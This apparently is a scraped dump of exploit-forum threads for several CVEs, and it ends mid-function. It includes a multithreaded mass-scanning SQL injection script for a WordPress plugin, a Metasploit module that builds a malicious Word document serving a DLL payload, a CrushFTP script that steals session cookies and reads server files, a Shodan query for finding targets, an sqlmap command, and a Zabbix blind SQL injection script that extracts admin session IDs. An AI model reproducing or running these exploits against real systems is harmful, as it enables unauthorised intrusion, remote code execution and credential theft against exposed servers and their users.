  tags: github.com/fa-rrel

http:
  - raw:
      - |
        @timeout: 20s
        POST /wp-admin/admin-post.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        page=es_subscribers&is_ajax=1&action=_sent&advanced_filter[conditions][0][0][field]=status=99924)))union(select(sleep(4)))--+&advanced_filter[conditions][0][0][operator]==&advanced_filter[conditions][0][0][value]=1111

    matchers:
      - type: dsl
        dsl:
          - 'duration>=4'
          - 'status_code == 200'
          - 'contains(header, "application/json")'
          - 'contains_all(body, "bulk_action", "_sent", "errortype")'
        condition: and

CVE-2024-2876.py:

Python:Copy to clipboard

import threading
import requests, re, time, sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning


requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def Exploit(url):
    headers = {
    "Content-Type": "application/x-www-form-urlencoded"
    }
    payload = {
    "page": "es_subscribers",
    "is_ajax": "1",
    "action": "_sent",
    "advanced_filter[conditions][0][0][field]": "status=99924)))union(select(sleep(4)))--+",
    "advanced_filter[conditions][0][0][operator]": "==",
    "advanced_filter[conditions][0][0][value]": "1111"
    }
    try:
        start_time = time.time()
        req = requests.post(url+"/wp-admin/admin-post.php", headers=headers, data=payload)
        end_time = time.time()
        elapsed_time = end_time - start_time

        if elapsed_time >= 4:
            print(f"{url} Exploited Sucessfully")
        else:
            pass

    except Exception as e:
        pass


# Function to make a GET request
def fetch_url(url):
    try:
        pattern = r'Stable tag:\s*(\d+\.\d+\.\d+)'
        response = requests.get(url+"/wp-content/plugins/email-subscribers/readme.txt", timeout=1, verify=False).text
        find = re.findall(pattern,response)
        for match in find:
            # Split the version into major, minor, and patch
            major, minor, patch = map(int, match.split('.'))
            
            # Check if version is lower than 5.7.15
            if (major, minor, patch) < (5, 7, 15):
                print(f"{url} vulnerable version found")
                Exploit(url)
        # print(f"URL: {url}, Status Code: {find}", flush=True)
    except requests.exceptions.RequestException as e:
        print(f"Error fetching {url}: {e}", flush=True)

# List of URLs to fetch (duplicated to simulate more URLs)
def read_urls_from_file(filename):
    with open(filename, 'r') as file:
        # Strip newlines and only keep non-empty lines
        urls = [line.strip() for line in file if line.strip()]
    return urls

if len(sys.argv) < 2:
        print("Usage: python script.py <filename>")
        sys.exit(1)

        
urls = read_urls_from_file(sys.argv[1])

# Function to manage threading with a limit of 20 threads
def thread_manager(urls, max_threads=20):
    threads = []
    
    for i, url in enumerate(urls):
        thread = threading.Thread(target=fetch_url, args=(url,))
        threads.append(thread)
        thread.start()

        # Limit to max_threads, wait for the first batch to finish
        if len(threads) == max_threads:
            for t in threads:
                t.join()  # Wait for all threads to complete
            threads = []  # Clear the list for the next batch

    # Join any remaining threads
    for t in threads:
        t.join()

# Run the thread manager
thread_manager(urls, max_threads=20)


print("All requests are complete.")

Youtube POC:

Resource:
[https://www.wordfence.com/blog/2024...scribers-by-icegram-express-wordpress- plugin/](https://www.wordfence.com/blog/2024/04/1250-bounty-awarded-for- unauthenticated-sql-injection-vulnerability-patched-in-email-subscribers-by- icegram-express-wordpress-plugin/)

Github : https://github.com/Quantum-Hacker/CVE-2024-2876 , https://github.com/0xAgun/CVE-2024-2876

CVE-2024-38063
ID: 67686ba3b4103b69df379b36
Thread ID: 121538
Created: 2024-08-27T11:54:08+0000
Last Post: 2024-08-30T12:02:46+0000
Author: Asting83
Prefix: Remote
Replies: 7 Views: 1K
CVE-2024-38063-POC
ID: 67686ba3b4103b69df379b3c
Thread ID: 121131
Created: 2024-08-20T21:31:57+0000
Last Post: 2024-08-22T16:15:36+0000
Author: rubeus
Prefix: Remote
Replies: 6 Views: 1K

github.com

[ GitHub - Sachinart/CVE-2024-38063-POC: Note: I am not responsible for

any bad act. This is written by Chirag Artani to demonstrate the vulnerability. ](https://github.com/Sachinart/CVE-2024-38063-POC)

Note: I am not responsible for any bad act. This is written by Chirag Artani to demonstrate the vulnerability. - Sachinart/CVE-2024-38063-POC

github.com github.com

![www.trustwave.com](/proxy.php?image=https%3A%2F%2Fwww.trustwave.com%2Fhubfs%2FWeb%2FDefaults%2Fsl- socialmedia-header.jpg&hash=81aa1d3a17b364f1f5124ac1d9ff0adf&return_error=1)

[ Trustwave Rapid Response: Windows TCP/IP RCE Vulnerability

(CVE-2024-38063) ](https://www.trustwave.com/en-us/resources/blogs/spiderlabs- blog/trustwave-rapid-response-windows-tcp-ip-rce-vulnerability- cve-2024-38063/)

Microsoft has disclosed a critical (CVSS 9.8) TCP/IP remote code execution (RCE) vulnerability that impacts all Windows systems utilizing IPv6.

www.trustwave.com www.trustwave.com

Microsoft Office Word MSHTML Remote Code Execution Exploit / CVE-2021-40444
ID: 67686ba3b4103b69df379b44
Thread ID: 59922
Created: 2021-12-10T15:58:03+0000
Last Post: 2024-07-29T05:13:59+0000
Author: DarckSol
Prefix: Local
Replies: 1 Views: 1K

...: Metasploit Modul :...

Code:Copy to clipboard

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::HttpServer::HTML
 
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft Office Word Malicious MSHTML RCE',
        'Description' => %q{
          This module creates a malicious docx file that when opened in Word on a vulnerable Windows
          system will lead to code execution. This vulnerability exists because an attacker can
          craft a malicious ActiveX control to be used by a Microsoft Office document that hosts
          the browser rendering engine.
        },
        'References' => [
          ['CVE', '2021-40444'],
          ['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444'],
          ['URL', 'https://www.sentinelone.com/blog/peeking-into-cve-2021-40444-ms-office-zero-day-vulnerability-exploited-in-the-wild/'],
          ['URL', 'http://download.microsoft.com/download/4/d/a/4da14f27-b4ef-4170-a6e6-5b1ef85b1baa/[ms-cab].pdf'],
          ['URL', 'https://github.com/lockedbyte/CVE-2021-40444/blob/master/REPRODUCE.md'],
          ['URL', 'https://github.com/klezVirus/CVE-2021-40444']
        ],
        'Author' => [
          'lockedbyte ', # Vulnerability discovery.
          'klezVirus ', # References and PoC.
          'thesunRider', # Official Metasploit module.
          'mekhalleh (RAMELLA Sébastien)' # Zeop-CyberSecurity - code base contribution and refactoring.
        ],
        'DisclosureDate' => '2021-09-23',
        'License' => MSF_LICENSE,
        'Privileged' => false,
        'Platform' => 'win',
        'Arch' => [ARCH_X64],
        'Payload' => {
          'DisableNops' => true
        },
        'DefaultOptions' => {
          'FILENAME' => 'msf.docx'
        },
        'Targets' => [
          [
            'Hosted', {}
          ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [UNRELIABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )
 
    register_options([
      OptBool.new('OBFUSCATE', [true, 'Obfuscate JavaScript content.', true])
    ])
    register_advanced_options([
      OptPath.new('DocxTemplate', [ false, 'A DOCX file that will be used as a template to build the exploit.' ]),
    ])
  end
 
  def bin_to_hex(bstr)
    return(bstr.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join)
  end
 
  def cab_checksum(data, seed = "\x00\x00\x00\x00")
    checksum = seed
 
    bytes = ''
    data.chars.each_slice(4).map(&:join).each do |dword|
      if dword.length == 4
        checksum = checksum.unpack('C*').zip(dword.unpack('C*')).map { |a, b| a ^ b }.pack('C*')
      else
        bytes = dword
      end
    end
    checksum = checksum.reverse
 
    case (data.length % 4)
    when 3
      dword = "\x00#{bytes}"
    when 2
      dword = "\x00\x00#{bytes}"
    when 1
      dword = "\x00\x00\x00#{bytes}"
    else
      dword = "\x00\x00\x00\x00"
    end
 
    checksum = checksum.unpack('C*').zip(dword.unpack('C*')).map { |a, b| a ^ b }.pack('C*').reverse
  end
 
  # http://download.microsoft.com/download/4/d/a/4da14f27-b4ef-4170-a6e6-5b1ef85b1baa/[ms-cab].pdf
  def create_cab(data)
    cab_cfdata = ''
    filename = "../#{File.basename(@my_resources.first)}.inf"
    block_size = 32768
    struct_cffile = 0xd
    struct_cfheader = 0x30
 
    block_counter = 0
    data.chars.each_slice(block_size).map(&:join).each do |block|
      block_counter += 1
 
      seed = "#{[block.length].pack('S')}#{[block.length].pack('S')}"
      csum = cab_checksum(block, seed)
 
      vprint_status("Data block added w/ checksum: #{bin_to_hex(csum)}")
      cab_cfdata << csum                     # uint32 {4} - Checksum
      cab_cfdata << [block.length].pack('S') # uint16 {2} - Compressed Data Length
      cab_cfdata << [block.length].pack('S') # uint16 {2} - Uncompressed Data Length
      cab_cfdata << block
    end
 
    cab_size = [
      struct_cfheader +
        struct_cffile +
        filename.length +
        cab_cfdata.length
    ].pack('L<')
 
    # CFHEADER (http://wiki.xentax.com/index.php/Microsoft_Cabinet_CAB)
    cab_header = "\x4D\x53\x43\x46" # uint32 {4} - Header (MSCF)
    cab_header << "\x00\x00\x00\x00" # uint32 {4} - Reserved (null)
    cab_header << cab_size # uint32 {4} - Archive Length
    cab_header << "\x00\x00\x00\x00"         # uint32 {4} - Reserved (null)
 
    cab_header << "\x2C\x00\x00\x00"         # uint32 {4} - Offset to the first CFFILE
    cab_header << "\x00\x00\x00\x00"         # uint32 {4} - Reserved (null)
    cab_header << "\x03"                     # byte   {1} - Minor Version (3)
    cab_header << "\x01"                     # byte   {1} - Major Version (1)
    cab_header << "\x01\x00"                 # uint16 {2} - Number of Folders
    cab_header << "\x01\x00"                 # uint16 {2} - Number of Files
    cab_header << "\x00\x00"                 # uint16 {2} - Flags
 
    cab_header << "\xD2\x04"                 # uint16 {2} - Cabinet Set ID Number
    cab_header << "\x00\x00"                 # uint16 {2} - Sequential Number of this Cabinet file in a Set
 
    # CFFOLDER
    cab_header << [                          # uint32 {4} - Offset to the first CFDATA in this Folder
      struct_cfheader +
      struct_cffile +
      filename.length
    ].pack('L<')
    cab_header << [block_counter].pack('S<') # uint16 {2} - Number of CFDATA blocks in this Folder
    cab_header << "\x00\x00"                 # uint16 {2} - Compression Format for each CFDATA in this Folder (1 = MSZIP)
 
    # increase file size to trigger vulnerability
    cab_header << [ # uint32 {4} - Uncompressed File Length ("\x02\x00\x5C\x41")
      data.length + 1073741824
    ].pack('L<')
 
    # set current date and time in the format of cab file
    date_time = Time.new
    date = [((date_time.year - 1980) << 9) + (date_time.month << 5) + date_time.day].pack('S')
    time = [(date_time.hour << 11) + (date_time.min << 5) + (date_time.sec / 2)].pack('S')
 
    # CFFILE
    cab_header << "\x00\x00\x00\x00"         # uint32 {4} - Offset in the Uncompressed CFDATA for the Folder this file belongs to (relative to the start of the Uncompressed CFDATA for this Folder)
    cab_header << "\x00\x00"                 # uint16 {2} - Folder ID (starts at 0)
    cab_header << date                       # uint16 {2} - File Date (\x5A\x53)
    cab_header << time                       # uint16 {2} - File Time (\xC3\x5C)
    cab_header << "\x20\x00"                 # uint16 {2} - File Attributes
    cab_header << filename                   # byte   {X} - Filename (ASCII)
    cab_header << "\x00"                     # byte   {1} - null Filename Terminator
 
    cab_stream = cab_header
 
    # CFDATA
    cab_stream << cab_cfdata
  end
 
  def generate_html
    uri = "#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.cab"
    inf = "#{File.basename(@my_resources.first)}.inf"
 
    file_path = ::File.join(::Msf::Config.data_directory, 'exploits', 'CVE-2021-40444', 'cve_2021_40444.js')
    js_content = ::File.binread(file_path)
 
    js_content.gsub!('REPLACE_INF', inf)
    js_content.gsub!('REPLACE_URI', uri)
    if datastore['OBFUSCATE']
      print_status('Obfuscate JavaScript content')
 
      js_content = Rex::Exploitation::JSObfu.new js_content
      js_content = js_content.obfuscate(memory_sensitive: false)
    end
 
    html = '<!DOCTYPE html><html><head><meta http-equiv="Expires" content="-1"><meta http-equiv="X-UA-Compatible" content="IE=11"></head><body><script>'
    html += js_content.to_s
    html += '</script></body></html>'
    html
  end
 
  def get_file_in_docx(fname)
    i = @docx.find_index { |item| item[:fname] == fname }
 
    unless i
      fail_with(Failure::NotFound, "This template cannot be used because it is missing: #{fname}")
    end
 
    @docx.fetch(i)[:data]
  end
 
  def get_template_path
    datastore['DocxTemplate'] || File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-40444', 'cve-2021-40444.docx')
  end
 
  def inject_docx
    document_xml = get_file_in_docx('word/document.xml')
    unless document_xml
      fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/document.xml')
    end
 
    document_xml_rels = get_file_in_docx('word/_rels/document.xml.rels')
    unless document_xml_rels
      fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/_rels/document.xml.rels')
    end
 
    uri = "#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.html"
    @docx.each do |entry|
      case entry[:fname]
      when 'word/document.xml'
        entry[:data] = document_xml.to_s.gsub!('TARGET_HERE', uri.to_s)
      when 'word/_rels/document.xml.rels'
        entry[:data] = document_xml_rels.to_s.gsub!('TARGET_HERE', "mhtml:#{uri}!x-usc:#{uri}")
      end
    end
  end
 
  def normalize_uri(*strs)
    new_str = strs * '/'
 
    new_str = new_str.gsub!('//', '/') while new_str.index('//')
 
    # makes sure there's a starting slash
    unless new_str[0, 1] == '/'
      new_str = '/' + new_str
    end
 
    new_str
  end
 
  def on_request_uri(cli, request)
    header_cab = {
      'Access-Control-Allow-Origin' => '*',
      'Access-Control-Allow-Methods' => 'GET, POST, OPTIONS',
      'Cache-Control' => 'no-store, no-cache, must-revalidate',
      'Content-Type' => 'application/octet-stream',
      'Content-Disposition' => "attachment; filename=#{File.basename(@my_resources.first)}.cab"
    }
 
    header_html = {
      'Access-Control-Allow-Origin' => '*',
      'Access-Control-Allow-Methods' => 'GET, POST',
      'Cache-Control' => 'no-store, no-cache, must-revalidate',
      'Content-Type' => 'text/html; charset=UTF-8'
    }
 
    if request.method.eql? 'HEAD'
      if request.raw_uri.to_s.end_with? '.cab'
        send_response(cli, '', header_cab)
      else
        send_response(cli, '', header_html)
      end
    elsif request.method.eql? 'OPTIONS'
      response = create_response(501, 'Unsupported Method')
      response['Content-Type'] = 'text/html'
      response.body = ''
 
      cli.send_response(response)
    elsif request.raw_uri.to_s.end_with? '.html'
      print_status('Sending HTML Payload')
 
      send_response_html(cli, generate_html, header_html)
    elsif request.raw_uri.to_s.end_with? '.cab'
      print_status('Sending CAB Payload')
 
      send_response(cli, create_cab(@dll_payload), header_cab)
    end
  end
 
  def pack_docx
    @docx.each do |entry|
      if entry[:data].is_a?(Nokogiri::XML::Document)
        entry[:data] = entry[:data].to_s
      end
    end
 
    Msf::Util::EXE.to_zip(@docx)
  end
 
  def unpack_docx(template_path)
    document = []
 
    Zip::File.open(template_path) do |entries|
      entries.each do |entry|
        if entry.name.match(/\.xml|\.rels$/i)
          content = Nokogiri::XML(entry.get_input_stream.read) if entry.file?
        elsif entry.file?
          content = entry.get_input_stream.read
        end
 
        vprint_status("Parsing item from template: #{entry.name}")
 
        document << { fname: entry.name, data: content }
      end
    end
 
    document
  end
 
  def primer
    print_status('CVE-2021-40444: Generate a malicious docx file')
 
    @proto = (datastore['SSL'] ? 'https' : 'http')
    if datastore['SRVHOST'] == '0.0.0.0'
      datastore['SRVHOST'] = Rex::Socket.source_address
    end
 
    template_path = get_template_path
    unless File.extname(template_path).match(/\.docx$/i)
      fail_with(Failure::BadConfig, 'Template is not a docx file!')
    end
 
    print_status("Using template '#{template_path}'")
    @docx = unpack_docx(template_path)
 
    print_status('Injecting payload in docx document')
    inject_docx
 
    print_status("Finalizing docx '#{datastore['FILENAME']}'")
    file_create(pack_docx)
 
    @dll_payload = Msf::Util::EXE.to_win64pe_dll(
      framework,
      payload.encoded,
      {
        arch: payload.arch.first,
        mixed_mode: true,
        platform: 'win'
      }
    )
  end
end
[CVE-2024-4040 + Poc] CrushFTP unauthenticated RCE
ID: 67686ba3b4103b69df379b5c
Thread ID: 113469
Created: 2024-04-28T15:02:43+0000
Last Post: 2024-06-29T09:05:50+0000
Author: Guest
Prefix: Web
Replies: 3 Views: 1K

326194348-e507b6b4-37ad-4d5b-8447-926f5d05f2fb.png
A server side template injection vulnerability in CrushFTP in all versions before 10.7.1 and 11.1.0 on all platforms allows unauthenticated remote attackers to read files from the filesystem outside of the VFS Sandbox, bypass authentication to gain administrative access, and perform remote code execution on the server.

As per shodan there are about 7000 exposed CrushFTP servers on internet.

Spoiler: Poc

Python:Copy to clipboard

import requests
import argparse
import re
import urllib3
import xml.etree.ElementTree as ET
from rich.console import Console
from rich.progress import Progress
from rich.style import Style
from rich.text import Text

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


violet = Style(color="bright_magenta")
green = Style(color="green")
red = Style(color="red")
yellow = Style(color="yellow")
grellow = Style(color="yellow2")
cyan = Style(color="cyan")
brightcyan = Style(color="bright_cyan")
urlblue = Style(color="blue1")
console = Console(highlight=False)


def banner():

    print("""

 ______     ______     __  __     ______     __  __     ______     _____ 
/\  ___\   /\  == \   /\ \/\ \   /\  ___\   /\ \_\ \   /\  ___\   /\  __-.
\ \ \____  \ \  __<   \ \ \_\ \  \ \___  \  \ \  __ \  \ \  __\   \ \ \/\ \
 \ \_____\  \ \_\ \_\  \ \_____\  \/\_____\  \ \_\ \_\  \ \_____\  \ \____-
  \/_____/   \/_/ /_/   \/_____/   \/_____/   \/_/\/_/   \/_____/   \/____/
                                                                          


    """)
    console.print(Text("CrushFTP SSTI PoC (CVE-2024-4040)", style=cyan))
    console.print(Text("Developer: @stuub", style=violet))
    console.print(Text("Purely for ethical & educational purposes only\n", style=yellow))

def serverSessionAJAX(target, session):

    console.print(f"[green][*][/green] Attempting to reach ServerSessionAJAX...\n")

    url = f"{target}/WebInterface/"

    try:
        response = session.get(url, verify=False, allow_redirects=True)

        if response.status_code == 404:
            console.print(f"[green][+][/green] Successfully reached ServerSessionAJAX")
            if 'CrushAuth' in response.cookies and 'currentAuth' in response.cookies:
                crush_auth_cookie = response.cookies['CrushAuth']
                current_auth_cookie = response.cookies['currentAuth']
                console.print(f"[green][+][/green] CrushAuth Session token: " + crush_auth_cookie)
                console.print(f"[green][+][/green] Current Auth Session token: " + current_auth_cookie)
                return crush_auth_cookie, current_auth_cookie
            else:
                console.print(f"[red][-][/red] 'CrushAuth' or 'currentAuth' cookie not found in the response")
                exit(1)

    except requests.exceptions.RequestException as e:
        console.print(f"[red][-][/red] Failed to reach ServerSessionAJAX")
        console.print(f"[red][-][/red] Error: " + str(e))
        exit(1)

def SSTI(target, crush_auth_cookie, current_auth_cookie, session):

    console.print(f"\n[green][*][/green] Attempting to exploit SSTI vulnerability...")

    url = f"{target}/WebInterface/function/?c2f={current_auth_cookie}&command=zip&path={{hostname}}&names=/a"
    console.print("\n[green][+][/green] URL: [urlblue]{}[/urlblue]".format(url))

    headers = {
        "Cookie": f"CrushAuth={crush_auth_cookie}; currentAuth={current_auth_cookie}"
    }

    try:
        response = session.post(url, headers=headers, verify=False, allow_redirects=True)

        if response.status_code == 200:
            console.print(f"[green][+][/green] Successfully exploited SSTI vulnerability")
            root = ET.fromstring(response.text)
            response_text = root.find('response').text
            console.print(f"[green][+][/green] Response: " + response_text)
      
        elif response.status_code == 404 or "{hostname}" in response.text:
            console.print(f"[red][-][/red] SSTI was not successful, server is not vulnerable.")
            console.print(f"[red][-][/red] Response: " + response.text)
            exit(1)

    except requests.exceptions.RequestException as e:
        console.print(f"[red][-][/red] Failed to exploit SSTI vulnerability")
        console.print(f"[red][-][/red] Error: " + str(e))
        exit(1)

def authBypass(target, crush_auth_cookie, current_auth_cookie, session, lfi=None):
  
        console.print(f"[green][*][/green] Attempting to bypass authentication...")
  
        url = f"{target}/WebInterface/function/?c2f={current_auth_cookie}&command=zip&path={{working_dir}}&names=/a"
        console.print(f"\n[green][+][/green] URL: " + url)
        headers = {
            "Cookie": f"CrushAuth={crush_auth_cookie}; currentAuth={current_auth_cookie}"
        }
  
        try:
            response = session.post(url, headers=headers, verify=False, allow_redirects=True)
      
            if "{working_dir}" in response.text:
                console.print(f"[red][-][/red] Bypass was not successful, server is not vulnerable.")
                console.print(f"[red][-][/red] Response: " + response.text)
                exit(1)

            if response.status_code == 200:
                console.print(f"[green][+][/green] Successfully bypassed authentication")
                console.print(f"[green][+][/green] Response: " + response.text)

                root = ET.fromstring(response.text)
                response_text = root.find('response').text
                matches = re.findall(r'file:(.*?)(?=\n|$)', response_text)         
                if matches:
                    install_dir = matches[-1].strip()
                    console.print(f"[green][+][/green] Installation directory of CrushFTP: " + install_dir)
                    file_to_read = lfi if lfi else f"{install_dir}sessions.obj"
                    console.print(f"[green][+][/green] File to read: " + file_to_read)
                    url = f"{target}/WebInterface/function/?c2f={current_auth_cookie}&command=zip&path=<INCLUDE>{file_to_read}</INCLUDE>&names=/a"
                    console.print(f"\n[green][+][/green] Attempting to extract {file_to_read}...")
                    console.print(f"\n[green][+][/green] URL: " + url)
                    response = session.post(url, headers=headers, verify=False, allow_redirects=True)

                    if response.status_code == 200 and response.text != "":
                        console.print(f"[green][+][/green] Successfully extracted {file_to_read}")
                        console.print(f"[green][+][/green] Extracted response: \n" + response.text)
                        if not lfi or lfi == f"{install_dir}sessions.obj":
                            extracted_crush_auth = [cookie[:44] for cookie in re.findall(r'CrushAuth=([^;]*)', response.text)]
                            extracted_current_auth = [cookie[:4] for cookie in re.findall(r'currentAuth=([^;]*)', response.text)]

                            console.print(f"\n[green][+][/green] Extracted cookies from {file_to_read}: ")
                            console.print(f"\n[green][+][/green] [yellow2]CrushAuth cookies:[/yellow2] " + ', '.join(extracted_crush_auth))
                            console.print(f"\n[green][+][/green] [yellow2]currentAuth cookies: [/yellow2]" + ', '.join(extracted_current_auth))
                            with open (f"sessions.obj", "w") as f:
                                f.write(response.text)
                            return extracted_crush_auth, extracted_current_auth
                      
                else:
                    print(f"[red][-][/red] Failed to extract file value")
                    return None
              
        except requests.exceptions.RequestException as e:
            console.print(f"[red][-][/red] Failed to bypass authentication")
            console.print(f"[red][-][/red] Error: " + str(e))
            exit(1)

def lfi_wordlist(target, crush_auth_cookie, current_auth_cookie, wordlist,session):

    console = Console()
    with open(wordlist, 'r') as f:
        files = [line.strip() for line in f]

    with Progress(console=console) as progress:
        task = progress.add_task("[bright_cyan]Processing wordlist...[/bright_cyan]", total=len(files))

        for file in files:
            if progress.finished: break

            console.print(f"\n[green][*][/green] [cyan]Attempting to read file:[/cyan] {file}")

            url = f"{target}/WebInterface/function/?c2f={current_auth_cookie}&command=zip&path=<INCLUDE>{file}</INCLUDE>&names=/a"
            headers = {
                "Cookie": f"CrushAuth={crush_auth_cookie}; currentAuth={current_auth_cookie}"
            }

            try:
                response = session.post(url, headers=headers, verify=False, allow_redirects=True)

                if response.status_code == 200:
                    console.print(f"[green][+][/green] Successfully read file: {file}")
                    console.print(f"[green][+][/green] Response: \n" + response.text)

                progress.update(task, advance=1)
              
            except requests.exceptions.RequestException as e:
                console.print(f"[red][-][/red] Failed to read file: {file}")
                console.print(f"[red][-][/red] Error: " + str(e))

def test_tokens(target, crush_auth_cookie, current_auth_cookie, session):
    console = Console()

    if isinstance(crush_auth_cookie, str):
        crush_auth_cookie = crush_auth_cookie.split(', ')
    if isinstance(current_auth_cookie, str):
        current_auth_cookie = current_auth_cookie.split(', ')

    for crush_auth_token, current_auth_token in zip(crush_auth_cookie, current_auth_cookie):
        url = f"{target}/WebInterface/function?command=getUsername&c2f={current_auth_token}"
        headers = {
            "Cookie": f"CrushAuth={crush_auth_token}; currentAuth={current_auth_token}"
        }
      
        console.print(f"\n[green][+][/green] Testing tokens: CrushAuth={crush_auth_token}, currentAuth={current_auth_token}")
        try:
            response = session.post(url, headers=headers, verify=False, allow_redirects=True)

            if response.status_code == 200:
                console.print(f"[green][+][/green] Response: " + response.text)
          
        except requests.exceptions.RequestException as e:
            console.print(f"[red]Failed to test tokens: CrushAuth={crush_auth_token}, currentAuth={current_auth_token}[/red]")
            console.print(f"[red]Error: " + str(e) + "[/red]")


def main():
    parser = argparse.ArgumentParser(description="CrushFTP SSTI PoC (CVE-2024-4040)")
    parser.add_argument("-t", "--target", help="Target CrushFTP URL", required=True)
    parser.add_argument("-l", "--lfi", help="Local File Inclusion")
    parser.add_argument("-w", "--wordlist", help="Wordlist for LFI")
    args = parser.parse_args()
    banner()

    global session
    session = requests.Session()

    crush_auth_cookie, current_auth_cookie = serverSessionAJAX(target=args.target, session=session)

    SSTI(target=args.target, crush_auth_cookie=crush_auth_cookie, current_auth_cookie=current_auth_cookie, session=session)
    extracted_crush_auth, extracted_current_auth = authBypass(target=args.target, crush_auth_cookie=crush_auth_cookie, current_auth_cookie=current_auth_cookie, lfi=args.lfi, session=session)
    if args.wordlist:
        lfi_wordlist(target=args.target, crush_auth_cookie=crush_auth_cookie, current_auth_cookie=current_auth_cookie, wordlist=args.wordlist, session=session)
    test_tokens(target=args.target, crush_auth_cookie=extracted_crush_auth, current_auth_cookie=extracted_current_auth, session=session)

if __name__ == "__main__":
    main()

Shodan query: http.favicon.hash:-1022206565

source

CVE-2023-34362
ID: 67686ba3b4103b69df379b63
Thread ID: 90301
Created: 2023-06-12T13:54:46+0000
Last Post: 2024-06-04T10:21:34+0000
Author: Zodiac
Prefix: Remote
Replies: 1 Views: 1K

POC for CVE-2023-34362 affecting MOVEit Transfer

Technical Analysis​

A technical root cause analysis of the vulnerability can be found on our blog:<https://www.horizon3.ai/moveit-transfer-cve-2023-34362-deep-dive-and- indicators-of-compromise/>

Summary​

This POC abuses an SQL injection to obtain a sysadmin API access token and then use that access to abuse a deserialization call to obtain remote code execution.

This POC needs to reach out to an Identity Provider endpoint which hosts proper RS256 certificates used to forge arbitrary user tokens - by default this POC uses our IDP endpoint hosted in AWS. By default, the exploit will write a file to C:\Windows\Temp\message.txt. Alternative payloads can be generated by using the ysoserial.net project.

Usage​

python CVE-2023-34362.py https://127.0.0.1
[] Getting sysadmin access token
[
] Got access token
[] Getting FolderID
[
] Got FolderID: 963611079
[] Starting file upload
[
] Got FileID: 965943963
[] Injecting the payload
[
] Payload injected
[] Triggering payload via resume call
[+] Triggered the payload!
[
] Deleting uploaded file

Link - https://github.com/horizon3ai/CVE-2023-34362#cve-2023-34362

CVE-2024-1512 [ MasterStudy LMS WordPress Plugin ]
ID: 67686ba3b4103b69df379b66
Thread ID: 109030
Created: 2024-02-25T17:35:37+0000
Last Post: 2024-06-01T17:18:15+0000
Author: grozdniyandy
Prefix: Web
Replies: 3 Views: 1K

Blind SQL Injection
Detector:

Code:Copy to clipboard

package main

import (
    "crypto/tls"
    "fmt"
    "net/http"
    "net/url"
    "os"
    "time"
)

func main() {
    if len(os.Args) < 2 {
        fmt.Println("Usage: go run main.go http://example.com")
        os.Exit(1)
    }

    baseURL := os.Args[1]

    query1 := "/?rest_route=/lms/stm-lms/order/items&author_id=111&user="
    query2 := "1) AND (SELECT 1 FROM (SELECT sleep(5))AA"
    encodedQuery := url.QueryEscape(query2)

    fullURL := baseURL + query1 + encodedQuery
    fmt.Println(fullURL)

    http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true}

    client := &http.Client{
        Timeout: 100 * time.Second,
    }

    startTime := time.Now()

    resp, err := client.Get(fullURL)
    if err != nil {
        fmt.Printf("Error making request: %v\n", err)
        os.Exit(1)
    }
    defer resp.Body.Close()

    responseTime := time.Since(startTime)

    if responseTime >= 5*time.Second {
        fmt.Printf("Success: %s | Response Time:%s\n", baseURL, responseTime)
    } else {
        fmt.Printf("Fail: %s | Response Time:%s\n", baseURL, responseTime)
    }
}

Exploit:

Code:Copy to clipboard

sqlmap -u 'http://example.com/?rest_route=/lms/stm-lms/order/items&author_id=111&user=555' --dbs --batch  -p user
CVE-2024-22120: Time Based SQL Injection in Zabbix Server Audit Log
ID: 67686ba3b4103b69df379b67
Thread ID: 114928
Created: 2024-05-19T18:29:56+0000
Last Post: 2024-05-22T17:49:06+0000
Author: barklay
Prefix: Web
Replies: 2 Views: 1K

Python:Copy to clipboard

#!/usr/bin/python3
import json

import argparse
import pwnlib.context
from pwn import *
from datetime import datetime


def send_message(ip, port, sid, hostid, injection):
    zbx_header = "ZBXD\x01".encode()

    #query
    # insert into auditlog (auditid,userid,username,clock,action,ip,resourceid,"
    #             "resourcename,resourcetype,recordsetid,details) values ('%s'," ZBX_FS_UI64 ",'%s',%d,'%d','%s',"
    #             ZBX_FS_UI64 ",'%s',%d,'%s','%s')
    #

    message = {
        "request": "command",
        "sid": sid,
        "scriptid": "3",
        "clientip": "' + " + injection + "+ '",
        "hostid": hostid
    }

    message_json = json.dumps(message)
    #print("message=%s" % message)
    message_length = struct.pack('<q', len(message_json))
    message = zbx_header + message_length + message_json.encode()

    #print("Sending message %s" % message)
    r = remote(ip, port, level='debug')
    r.send(message)
    response = r.recv(100)
    r.close()
    #print(response)


def extract_admin_session_id(ip, port, sid, hostid, time_false, time_true):
    session_id = ""
    token_length = 32
    for i in range(1, token_length+1):
        for c in string.digits + "abcdef":
            print("\n(+) trying c=%s" % c, end="", flush=True)
            before_query = datetime.now().timestamp()
            query = "(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1),%d,1))=%d) THEN sleep(%d) ELSE sleep(%d) END)" % (i, ord(c), time_true, time_false)
            send_message(ip, port, sid, hostid, query)
            after_query = datetime.now().timestamp()

            if time_true > (after_query-before_query) > time_false:
                continue
            else:
                session_id += c
                print("(+) session_id=%s" % session_id, end="", flush=True)
                break

    print("\n")

    return session_id


def extract_config_session_key(ip, port, sid, hostid, time_false, time_true):
    token = ""
    token_length = 32
    for i in range(1, token_length+1):
